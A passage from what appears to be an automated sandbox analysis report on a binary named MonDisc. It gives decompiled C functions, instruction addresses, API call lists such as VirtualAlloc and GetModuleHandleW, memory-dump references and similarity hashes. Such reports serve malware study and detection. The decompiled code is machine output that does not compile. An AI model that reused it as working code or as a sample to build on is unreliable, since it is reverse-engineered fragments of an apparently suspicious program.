				if ((_t35 - __ebx | r13d) + __ebx - 0x5f < 0) goto 0xed0fa40d;
				_t123 = dil - 0x48;
				if (_t123 < 0) goto 0xed0fa3e4;
				_t39 = E00007FF67FF6ED184484(_t138);
				if (_t123 >= 0) goto 0xed0fa41e;
				dil = _a144;
				_t124 = ((_t39 & r15d) - __ebx | r13d) + __ebx - 0x53;
				dil = dil + __ebx;
				 *0xed236f60 = 0 | _t124 < 0x00000000;
				 *0xed236f60 = dil & 0xffffffff;
				_a144 = dil;
				_t45 = E00007FF67FF6ED184484(_t138);
				if (_t124 >= 0) goto 0xed0fa45a;
				if (((_t45 & r15d) - __ebx | r13d) + __ebx - 0x5b < 0) goto 0xed0fa469;
				_t126 = dil - 0x57;
				if (_t126 < 0) goto 0xed0fa391;
				GetMessageExtraInfo();
				_t51 = E00007FF67FF6ED184484(_t138);
				if (_t126 >= 0) goto 0xed0fa480;
				_t127 = ((_t51 & r15d) - __ebx | r13d) + __ebx - 0x79;
				if (_t127 >= 0) goto 0xed0fa549;
				_t56 = E00007FF67FF6ED184484(_t138);
				if (_t127 >= 0) goto 0xed0fa49a;
				_t128 = ((_t56 & r15d) - __ebx | r13d) + __ebx - 0x30;
				if (_t128 == 0) goto 0xed0fa59d;
				E00007FF67FF6ED184484(_t138);
				if (_t128 >= 0) goto 0xed0fa4b4;
				asm("movsd xmm6, [0x10f70c]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t128 != 0) goto 0xed0fa4cc;
				if (_t128 == 0) goto 0xed0fa50b;
				bpl = 0x31;
				_t129 = bpl - 0x3c;
				if (_t129 >= 0) goto 0xed0fa503;
				bpl = bpl + __ebx;
				 *0xed236f60 = bpl & 0xffffffff;
				E00007FF67FF6ED184484(_t138);
				if (_t129 >= 0) goto 0xed0fa4f3;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t129 != 0) goto 0xed0fa4cf;
				if (_t129 != 0) goto 0xed0fa4cf;
				_t72 = E00007FF67FF6ED184484(_t138);
				if (_t129 >= 0) goto 0xed0fa51c;
				_t130 = ((_t72 & r15d) - __ebx | r13d) + __ebx - 0x30;
				 *0xed236f60 = 0 | _t130 == 0x00000000;
				_t77 = E00007FF67FF6ED184484(_t138);
				if (_t130 >= 0) goto 0xed0fa53b;
				_t131 = ((_t77 & r15d) - __ebx | r13d) + __ebx - 0x79;
				 *0xed236f60 = 0 | _t131 < 0x00000000;
				AnyPopup();
				_t83 = E00007FF67FF6ED184484(_t138);
				if (_t131 >= 0) goto 0xed0fa560;
				_t132 = ((_t83 & r15d) - __ebx | r13d) + __ebx - 0x29;
				if (_t132 > 0) goto 0xed0fa5b8;
				_t88 = E00007FF67FF6ED184484(_t138);
				if (_t132 >= 0) goto 0xed0fa576;
				 *0xed236f60 = 0 | ((_t88 & r15d) - __ebx | r13d) + __ebx - 0x00000029 <= 0x00000000;
				goto 0xed0fa5c2;
				_t134 = r14b - 0x31;
				if (_t134 >= 0) goto 0xed0fa50b;
				r14b = r14b + __ebx;
				 *0xed236f60 = r14b & 0xffffffff;
				_t94 = E00007FF67FF6ED184484(_t138);
				if (_t134 >= 0) goto 0xed0fa5ae;
				if (((_t94 & r15d) - __ebx | r13d) + __ebx == 0x45) goto 0xed0fa586;
				goto 0xed0fa50b;
				 *0xed236f60 = 0;
				E00007FF67FF6ED1EE020();
				_t99 = GetModuleHandleW(??);
				r8d = r8d | 0xffffffff;
				0xed0f5f48(); // executed
				if (_t99 == 0) goto 0xed0fa5f1;
				r8d = 0;
				E00007FF67FF6ED0FE7C0(0, __ebx, _t99, _t138, _t139, _a152, _t145, _t151);
				goto 0xed0fa5f3;
				E00007FF67FF6ED0FB610(0, _t139, _a152, _t145, _t151); // executed
				asm("movaps xmm6, [esp+0x30]");
				asm("movaps xmm7, [esp+0x20]");
				return 0;
			}

0x7ff6ed0fa34c
0x7ff6ed0fa353
0x7ff6ed0fa35b
0x7ff6ed0fa35f
0x7ff6ed0fa363
0x7ff6ed0fa36b
0x7ff6ed0fa374
0x7ff6ed0fa37a
0x7ff6ed0fa37e
0x7ff6ed0fa385
0x7ff6ed0fa38b
0x7ff6ed0fa391
0x7ff6ed0fa399
0x7ff6ed0fa3a5
0x7ff6ed0fa3a7
0x7ff6ed0fa3aa
0x7ff6ed0fa3ad
0x7ff6ed0fa3b3
0x7ff6ed0fa3b6
0x7ff6ed0fa3c0
0x7ff6ed0fa3ca
0x7ff6ed0fa3cc
0x7ff6ed0fa3d3
0x7ff6ed0fa3dd
0x7ff6ed0fa3df
0x7ff6ed0fa3e1
0x7ff6ed0fa3e4
0x7ff6ed0fa3eb
0x7ff6ed0fa3f6
0x7ff6ed0fa3f9
0x7ff6ed0fa405
0x7ff6ed0fa407
0x7ff6ed0fa40b
0x7ff6ed0fa40d
0x7ff6ed0fa415
0x7ff6ed0fa41e
0x7ff6ed0fa428
0x7ff6ed0fa42e
0x7ff6ed0fa435
0x7ff6ed0fa43b
0x7ff6ed0fa441
0x7ff6ed0fa449
0x7ff6ed0fa451
0x7ff6ed0fa45d
0x7ff6ed0fa45f
0x7ff6ed0fa463
0x7ff6ed0fa469
0x7ff6ed0fa46f
0x7ff6ed0fa477
0x7ff6ed0fa480
0x7ff6ed0fa483
0x7ff6ed0fa489
0x7ff6ed0fa491
0x7ff6ed0fa49a
0x7ff6ed0fa49d
0x7ff6ed0fa4a3
0x7ff6ed0fa4ab
0x7ff6ed0fa4b4
0x7ff6ed0fa4bc
0x7ff6ed0fa4c0
0x7ff6ed0fa4c4
0x7ff6ed0fa4c8
0x7ff6ed0fa4ca
0x7ff6ed0fa4cc
0x7ff6ed0fa4cf
0x7ff6ed0fa4d3
0x7ff6ed0fa4d5
0x7ff6ed0fa4dc
0x7ff6ed0fa4e2
0x7ff6ed0fa4ea
0x7ff6ed0fa4f3
0x7ff6ed0fa4f7
0x7ff6ed0fa4fb
0x7ff6ed0fa4ff
0x7ff6ed0fa501
0x7ff6ed0fa50b
0x7ff6ed0fa513
0x7ff6ed0fa51e
0x7ff6ed0fa524
0x7ff6ed0fa52a
0x7ff6ed0fa532
0x7ff6ed0fa53d
0x7ff6ed0fa543
0x7ff6ed0fa549
0x7ff6ed0fa54f
0x7ff6ed0fa557
0x7ff6ed0fa560
0x7ff6ed0fa563
0x7ff6ed0fa565
0x7ff6ed0fa56d
0x7ff6ed0fa57e
0x7ff6ed0fa584
0x7ff6ed0fa586
0x7ff6ed0fa58a
0x7ff6ed0fa590
0x7ff6ed0fa597
0x7ff6ed0fa59d
0x7ff6ed0fa5a5
0x7ff6ed0fa5b1
0x7ff6ed0fa5b3
0x7ff6ed0fa5b8
0x7ff6ed0fa5c2
0x7ff6ed0fa5ca
0x7ff6ed0fa5d0
0x7ff6ed0fa5d9
0x7ff6ed0fa5e0
0x7ff6ed0fa5e2
0x7ff6ed0fa5ea
0x7ff6ed0fa5ef
0x7ff6ed0fa5f6
0x7ff6ed0fa5fb
0x7ff6ed0fa602
0x7ff6ed0fa615

APIs

GetUserDefaultLangID.KERNEL32 ref: 00007FF6ED0FA3AD
GetMessageExtraInfo.USER32 ref: 00007FF6ED0FA469

Strings

<, xrefs: 00007FF6ED0FA4CF

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: DefaultExtraInfoLangMessageUser
String ID: <
API String ID: 3021954254-4251816714
Opcode ID: 402f9aef2e047f993df22b8c630db0140b6e5c85603be60a7ccbcf4cca1a9ae4
Instruction ID: dc64b6b0dd8660c90898287b0047401e9b8d58b9791997cb6fa80ad2025dbcf7
Opcode Fuzzy Hash: 402f9aef2e047f993df22b8c630db0140b6e5c85603be60a7ccbcf4cca1a9ae4
Instruction Fuzzy Hash: EC616A9BE189034AF6159F34998A3BA66D53F24755F3C0639D10AC3297FE3EF189810E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED100C60 Relevance: 9.1, APIs: 6, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6ED100CB3
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6ED100CCE
RtlVirtualUnwind.KERNEL32 ref: 00007FF6ED100D13
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6ED100D33
RtlRestoreContext.KERNEL32 ref: 00007FF6ED100D70
RaiseException.KERNEL32 ref: 00007FF6ED100DB2

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ContextEntryFunctionLookup$CaptureExceptionRaiseRestoreUnwindVirtual
String ID:
API String ID: 2358177407-0
Opcode ID: 4c4c5958612997501fae227bd0c84ea8e1ad64d21959aac5b581581413320623
Instruction ID: 67f49353a5842108bd8cd744906a2b0d639fabbdba1b06f562d6f24efea05d42
Opcode Fuzzy Hash: 4c4c5958612997501fae227bd0c84ea8e1ad64d21959aac5b581581413320623
Instruction Fuzzy Hash: 27313F33608A8282EB609F51F4443EA7361FBC9780F584435EA8D43A58EF3ED559CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0FA3FB Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 153
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E00007FF67FF6ED0FA3FB(void* __eax, void* __ebx, signed int _a144, intOrPtr _a152) {
				signed int _t16;
				signed int _t22;
				signed int _t28;
				signed int _t33;
				signed int _t49;
				signed int _t54;
				signed int _t60;
				signed int _t65;
				signed int _t71;
				struct HINSTANCE__* _t76;
				void* _t94;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t109;
				void* _t110;
				void* _t116;
				void* _t122;

				if ((__eax - __ebx | r13d) + __ebx - 0x5f < 0) goto 0xed0fa40d;
				_t94 = dil - 0x48;
				if (_t94 < 0) goto 0xed0fa3e4;
				_t16 = E00007FF67FF6ED184484(_t109);
				if (_t94 >= 0) goto 0xed0fa41e;
				dil = _a144;
				_t95 = ((_t16 & r15d) - __ebx | r13d) + __ebx - 0x53;
				dil = dil + __ebx;
				 *0xed236f60 = 0 | _t95 < 0x00000000;
				 *0xed236f60 = dil & 0xffffffff;
				_a144 = dil;
				_t22 = E00007FF67FF6ED184484(_t109);
				if (_t95 >= 0) goto 0xed0fa45a;
				if (((_t22 & r15d) - __ebx | r13d) + __ebx - 0x5b < 0) goto 0xed0fa469;
				_t97 = dil - 0x57;
				if (_t97 < 0) goto 0xed0fa391;
				GetMessageExtraInfo();
				_t28 = E00007FF67FF6ED184484(_t109);
				if (_t97 >= 0) goto 0xed0fa480;
				_t98 = ((_t28 & r15d) - __ebx | r13d) + __ebx - 0x79;
				if (_t98 >= 0) goto 0xed0fa549;
				_t33 = E00007FF67FF6ED184484(_t109);
				if (_t98 >= 0) goto 0xed0fa49a;
				_t99 = ((_t33 & r15d) - __ebx | r13d) + __ebx - 0x30;
				if (_t99 == 0) goto 0xed0fa59d;
				E00007FF67FF6ED184484(_t109);
				if (_t99 >= 0) goto 0xed0fa4b4;
				asm("movsd xmm6, [0x10f70c]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t99 != 0) goto 0xed0fa4cc;
				if (_t99 == 0) goto 0xed0fa50b;
				bpl = 0x31;
				_t100 = bpl - 0x3c;
				if (_t100 >= 0) goto 0xed0fa503;
				bpl = bpl + __ebx;
				 *0xed236f60 = bpl & 0xffffffff;
				E00007FF67FF6ED184484(_t109);
				if (_t100 >= 0) goto 0xed0fa4f3;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t100 != 0) goto 0xed0fa4cf;
				if (_t100 != 0) goto 0xed0fa4cf;
				_t49 = E00007FF67FF6ED184484(_t109);
				if (_t100 >= 0) goto 0xed0fa51c;
				_t101 = ((_t49 & r15d) - __ebx | r13d) + __ebx - 0x30;
				 *0xed236f60 = 0 | _t101 == 0x00000000;
				_t54 = E00007FF67FF6ED184484(_t109);
				if (_t101 >= 0) goto 0xed0fa53b;
				_t102 = ((_t54 & r15d) - __ebx | r13d) + __ebx - 0x79;
				 *0xed236f60 = 0 | _t102 < 0x00000000;
				AnyPopup();
				_t60 = E00007FF67FF6ED184484(_t109);
				if (_t102 >= 0) goto 0xed0fa560;
				_t103 = ((_t60 & r15d) - __ebx | r13d) + __ebx - 0x29;
				if (_t103 > 0) goto 0xed0fa5b8;
				_t65 = E00007FF67FF6ED184484(_t109);
				if (_t103 >= 0) goto 0xed0fa576;
				 *0xed236f60 = 0 | ((_t65 & r15d) - __ebx | r13d) + __ebx - 0x00000029 <= 0x00000000;
				goto 0xed0fa5c2;
				_t105 = r14b - 0x31;
				if (_t105 >= 0) goto 0xed0fa50b;
				r14b = r14b + __ebx;
				 *0xed236f60 = r14b & 0xffffffff;
				_t71 = E00007FF67FF6ED184484(_t109);
				if (_t105 >= 0) goto 0xed0fa5ae;
				if (((_t71 & r15d) - __ebx | r13d) + __ebx == 0x45) goto 0xed0fa586;
				goto 0xed0fa50b;
				 *0xed236f60 = 0;
				E00007FF67FF6ED1EE020();
				_t76 = GetModuleHandleW(??);
				r8d = r8d | 0xffffffff;
				0xed0f5f48(); // executed
				if (_t76 == 0) goto 0xed0fa5f1;
				r8d = 0;
				E00007FF67FF6ED0FE7C0(0, __ebx, _t76, _t109, _t110, _a152, _t116, _t122);
				goto 0xed0fa5f3;
				E00007FF67FF6ED0FB610(0, _t110, _a152, _t116, _t122); // executed
				asm("movaps xmm6, [esp+0x30]");
				asm("movaps xmm7, [esp+0x20]");
				return 0;
			}

0x7ff6ed0fa405
0x7ff6ed0fa407
0x7ff6ed0fa40b
0x7ff6ed0fa40d
0x7ff6ed0fa415
0x7ff6ed0fa41e
0x7ff6ed0fa428
0x7ff6ed0fa42e
0x7ff6ed0fa435
0x7ff6ed0fa43b
0x7ff6ed0fa441
0x7ff6ed0fa449
0x7ff6ed0fa451
0x7ff6ed0fa45d
0x7ff6ed0fa45f
0x7ff6ed0fa463
0x7ff6ed0fa469
0x7ff6ed0fa46f
0x7ff6ed0fa477
0x7ff6ed0fa480
0x7ff6ed0fa483
0x7ff6ed0fa489
0x7ff6ed0fa491
0x7ff6ed0fa49a
0x7ff6ed0fa49d
0x7ff6ed0fa4a3
0x7ff6ed0fa4ab
0x7ff6ed0fa4b4
0x7ff6ed0fa4bc
0x7ff6ed0fa4c0
0x7ff6ed0fa4c4
0x7ff6ed0fa4c8
0x7ff6ed0fa4ca
0x7ff6ed0fa4cc
0x7ff6ed0fa4cf
0x7ff6ed0fa4d3
0x7ff6ed0fa4d5
0x7ff6ed0fa4dc
0x7ff6ed0fa4e2
0x7ff6ed0fa4ea
0x7ff6ed0fa4f3
0x7ff6ed0fa4f7
0x7ff6ed0fa4fb
0x7ff6ed0fa4ff
0x7ff6ed0fa501
0x7ff6ed0fa50b
0x7ff6ed0fa513
0x7ff6ed0fa51e
0x7ff6ed0fa524
0x7ff6ed0fa52a
0x7ff6ed0fa532
0x7ff6ed0fa53d
0x7ff6ed0fa543
0x7ff6ed0fa549
0x7ff6ed0fa54f
0x7ff6ed0fa557
0x7ff6ed0fa560
0x7ff6ed0fa563
0x7ff6ed0fa565
0x7ff6ed0fa56d
0x7ff6ed0fa57e
0x7ff6ed0fa584
0x7ff6ed0fa586
0x7ff6ed0fa58a
0x7ff6ed0fa590
0x7ff6ed0fa597
0x7ff6ed0fa59d
0x7ff6ed0fa5a5
0x7ff6ed0fa5b1
0x7ff6ed0fa5b3
0x7ff6ed0fa5b8
0x7ff6ed0fa5c2
0x7ff6ed0fa5ca
0x7ff6ed0fa5d0
0x7ff6ed0fa5d9
0x7ff6ed0fa5e0
0x7ff6ed0fa5e2
0x7ff6ed0fa5ea
0x7ff6ed0fa5ef
0x7ff6ed0fa5f6
0x7ff6ed0fa5fb
0x7ff6ed0fa602
0x7ff6ed0fa615

APIs

GetMessageExtraInfo.USER32 ref: 00007FF6ED0FA469
AnyPopup.USER32 ref: 00007FF6ED0FA549
GetLargePageMinimum.KERNEL32 ref: 00007FF6ED0FA5C2
GetModuleHandleW.KERNEL32 ref: 00007FF6ED0FA5CA

Strings

<, xrefs: 00007FF6ED0FA4CF

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ExtraHandleInfoLargeMessageMinimumModulePagePopup
String ID: <
API String ID: 2008092851-4251816714
Opcode ID: 5b82afd13b6bb972a03a49472783478f1010767152c41c8eb140941de95efdb6
Instruction ID: c654e84224dcb003864e66a79a2c14ea5e3024fb0f41e5fcbe38b5362f3e0628
Opcode Fuzzy Hash: 5b82afd13b6bb972a03a49472783478f1010767152c41c8eb140941de95efdb6
Instruction Fuzzy Hash: F1517A9BE189034AF6549F34999A3BA51D53F24755F3C0939D60AC3683FE3EF189810E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED114230 Relevance: 7.7, APIs: 6, Instructions: 155
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E00007FF67FF6ED114230(void* __rax, long long __rbx, void* __rcx, signed int __rdx, long long __rdi, long long __rsi) {
				long _t51;
				signed int _t52;
				void* _t54;
				void* _t75;
				void* _t87;
				intOrPtr* _t88;
				signed long long _t92;
				long long _t94;
				long long* _t95;
				void* _t98;
				intOrPtr* _t104;
				intOrPtr _t105;
				long long _t107;
				intOrPtr _t110;
				void* _t115;
				signed long long _t118;
				signed long long _t120;
				signed long long _t121;
				long long _t129;
				void* _t133;
				intOrPtr _t136;
				intOrPtr _t139;
				intOrPtr _t141;
				long _t142;
				long _t146;
				signed long long _t147;
				void* _t149;
				signed long long _t151;
				void* _t152;
				signed long long _t154;

				 *((long long*)(_t133 + 8)) = __rbx;
				 *((long long*)(_t133 + 0x10)) = _t129;
				 *((long long*)(_t133 + 0x18)) = __rsi;
				 *((long long*)(_t133 + 0x20)) = __rdi;
				r14d = 0;
				if (__rdx - 0x20000 < 0) goto 0xed1142fd;
				_t151 = __rdx + 0x00020036 & 0xfffe0000;
				if (_t151 - __rdx <= 0) goto 0xed1142fd;
				GetLastError();
				r9d = 4;
				r8d = 0x103000;
				VirtualAlloc(_t149, _t146);
				SetLastError(_t142);
				_t102 =  !=  ? __rax : 0xffffffff;
				if (0xffffffff == 0xffffffff) goto 0xed1142fd;
				if (0xffffffff != 0xffffffff) goto 0xed1142c3;
				goto 0xed1142c9;
				_t103 = ( !=  ? __rax : 0xffffffff) + 0xffffffff;
				_t152 = _t151 - 0xffffffff;
				 *0xffffffff = 0xbadbad;
				 *0x00000007 = _t152 - 0x00000020 | 0x00000002;
				_t9 = _t103 + 0x10; // 0x10000000f
				_t87 = _t9;
				 *((long long*)(0xffffffff + _t152 - 0x18)) = 0xb;
				 *(( !=  ? __rax : 0xffffffff) + 0xffffffff + _t152 - 0x10) = _t146;
				if (_t87 != 0) goto 0xed11445d;
				_t154 = __rdx + 0x00020040 & 0xfffe0000;
				if (_t154 - __rdx <= 0) goto 0xed11445b;
				_t51 = GetLastError();
				r9d = 4;
				r8d = 0x3000;
				_t52 = VirtualAlloc(??, ??, ??, ??); // executed
				_t98 = _t87;
				SetLastError(??);
				_t144 =  !=  ? _t98 : 0xffffffff;
				if (0xffffffff == 0xffffffff) goto 0xed11445b;
				_t88 = __rcx + 0x348;
				_t104 = _t88;
				if (_t88 == 0) goto 0xed114404;
				asm("o16 nop [eax+eax]");
				_t139 =  *((intOrPtr*)(_t104 + 8));
				_t136 =  *_t104;
				_t115 = _t136 + _t139;
				if (0xffffffff == _t115) goto 0xed11438b;
				_t105 =  *((intOrPtr*)(_t104 + 0x10));
				if (_t105 != 0) goto 0xed114370;
				goto 0xed1143ef;
				_t141 =  *((intOrPtr*)(__rcx + 0x20));
				if (_t141 - _t136 < 0) goto 0xed1143ea;
				_t75 = _t141 - _t115;
				if (_t75 >= 0) goto 0xed1143ea;
				 *((long long*)(_t105 + 8)) = _t139 + _t154;
				if (_t75 == 0) goto 0xed1143be;
				r14d = _t52 & 0x00000007;
				_t147 =  ~_t146;
				r14d = r14d & 0x00000007;
				_t118 =  *(__rcx + 0x10) + _t154 - _t147;
				_t107 =  *((intOrPtr*)(__rcx + 0x20)) + _t147;
				 *((long long*)(__rcx + 0x20)) = _t107;
				 *(__rcx + 0x10) = _t118;
				_t92 = _t118 | 0x00000001;
				 *(_t107 + 8) = _t92;
				 *((long long*)(_t107 + _t118 + 8)) = 0x40;
				 *((long long*)(__rcx + 0x28)) = 0x200000;
				goto 0xed114412;
				if (_t92 == 0) goto 0xed114404;
				if ( *_t92 == 0xffffffff + _t154) goto 0xed114444;
				if ( *((intOrPtr*)(_t92 + 0x10)) != 0) goto 0xed1143f3;
				_t54 = E00007FF67FF6ED113F80(_t52 & 0x00000007, _t51, _t98, __rcx, 0xffffffff, __rdi, __rcx, __rdx, _t154);
				_t120 =  *(__rcx + 0x10);
				if (__rdx - _t120 >= 0) goto 0xed11445b;
				_t110 =  *((intOrPtr*)(__rcx + 0x20));
				_t121 = _t120 - __rdx;
				 *(__rcx + 0x10) = _t121;
				_t94 = _t110 + __rdx;
				 *((long long*)(__rcx + 0x20)) = _t94;
				 *(_t94 + 8) = _t121 | 0x00000001;
				_t95 = _t110 + 0x10;
				 *(_t110 + 8) = __rdx | 0x00000003;
				goto 0xed11445d;
				 *((intOrPtr*)(_t95 + 8)) =  *((intOrPtr*)(_t95 + 8)) + _t154;
				 *_t95 =  !=  ? _t98 : 0xffffffff;
				E00007FF67FF6ED115690(_t54, __rdx - _t120, __rcx, 0xffffffff, _t154, __rdx | 0x00000003);
				goto 0xed11445d;
				return 0;
			}

0x7ff6ed114230
0x7ff6ed114235
0x7ff6ed11423a
0x7ff6ed11423f
0x7ff6ed11424e
0x7ff6ed114265
0x7ff6ed114272
0x7ff6ed11427c
0x7ff6ed11427e
0x7ff6ed114284
0x7ff6ed114289
0x7ff6ed114296
0x7ff6ed1142a1
0x7ff6ed1142ad
0x7ff6ed1142b4
0x7ff6ed1142bc
0x7ff6ed1142c1
0x7ff6ed1142c9
0x7ff6ed1142cc
0x7ff6ed1142d3
0x7ff6ed1142de
0x7ff6ed1142e2
0x7ff6ed1142e2
0x7ff6ed1142e6
0x7ff6ed1142ef
0x7ff6ed1142f7
0x7ff6ed114304
0x7ff6ed11430e
0x7ff6ed114314
0x7ff6ed11431a
0x7ff6ed114320
0x7ff6ed11432d
0x7ff6ed114335
0x7ff6ed114338
0x7ff6ed114341
0x7ff6ed114349
0x7ff6ed11434f
0x7ff6ed114356
0x7ff6ed11435c
0x7ff6ed114366
0x7ff6ed114370
0x7ff6ed114374
0x7ff6ed114377
0x7ff6ed11437e
0x7ff6ed114380
0x7ff6ed114387
0x7ff6ed114389
0x7ff6ed11438b
0x7ff6ed114392
0x7ff6ed114394
0x7ff6ed114397
0x7ff6ed11439d
0x7ff6ed1143b2
0x7ff6ed1143b4
0x7ff6ed1143b7
0x7ff6ed1143ba
0x7ff6ed1143be
0x7ff6ed1143c1
0x7ff6ed1143c4
0x7ff6ed1143cb
0x7ff6ed1143cf
0x7ff6ed1143d3
0x7ff6ed1143d7
0x7ff6ed1143e0
0x7ff6ed1143e8
0x7ff6ed1143ed
0x7ff6ed1143f9
0x7ff6ed114402
0x7ff6ed11440d
0x7ff6ed114412
0x7ff6ed114419
0x7ff6ed11441b
0x7ff6ed11441f
0x7ff6ed114422
0x7ff6ed11442a
0x7ff6ed114432
0x7ff6ed114436
0x7ff6ed11443a
0x7ff6ed11443e
0x7ff6ed114442
0x7ff6ed114444
0x7ff6ed11444e
0x7ff6ed114454
0x7ff6ed114459
0x7ff6ed11447b

APIs

GetLastError.KERNEL32 ref: 00007FF6ED11427E
VirtualAlloc.KERNEL32 ref: 00007FF6ED114296
SetLastError.KERNEL32 ref: 00007FF6ED1142A1
GetLastError.KERNEL32 ref: 00007FF6ED114314
VirtualAlloc.KERNEL32 ref: 00007FF6ED11432D
SetLastError.KERNEL32 ref: 00007FF6ED114338

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ErrorLast$AllocVirtual
String ID:
API String ID: 1225938287-0
Opcode ID: 1f8f53a2a8f1067a6d9ce8600932e85ee154f6131d0fcfe8c50b931226d781b0
Instruction ID: af649afa613d6c57f85455a6d433314f128c05d048dda488e12f27b3d6c4a62b
Opcode Fuzzy Hash: 1f8f53a2a8f1067a6d9ce8600932e85ee154f6131d0fcfe8c50b931226d781b0
Instruction Fuzzy Hash: 1751C173709B5286EE24CB51E4403A9B2A0FB54F94F584635CE6E87B90EF3DE446C309

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED13B4F0 Relevance: 6.1, APIs: 4, Instructions: 80
memoryCOMMON

Download Yara Rule

